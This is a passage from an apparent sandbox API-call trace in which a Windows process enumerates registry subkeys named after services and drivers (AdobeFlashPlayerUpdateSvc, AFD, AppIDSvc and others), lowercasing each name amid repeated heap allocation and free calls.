BaseAddress=0x21f1970) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.774] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1da8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.774] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.774] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0244.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.774] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.775] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.775] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.775] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.777] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.777] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.777] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0244.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.777] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.778] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.778] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.778] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0244.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.779] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.779] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.779] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0244.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0244.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0244.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0244.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0244.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0244.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", 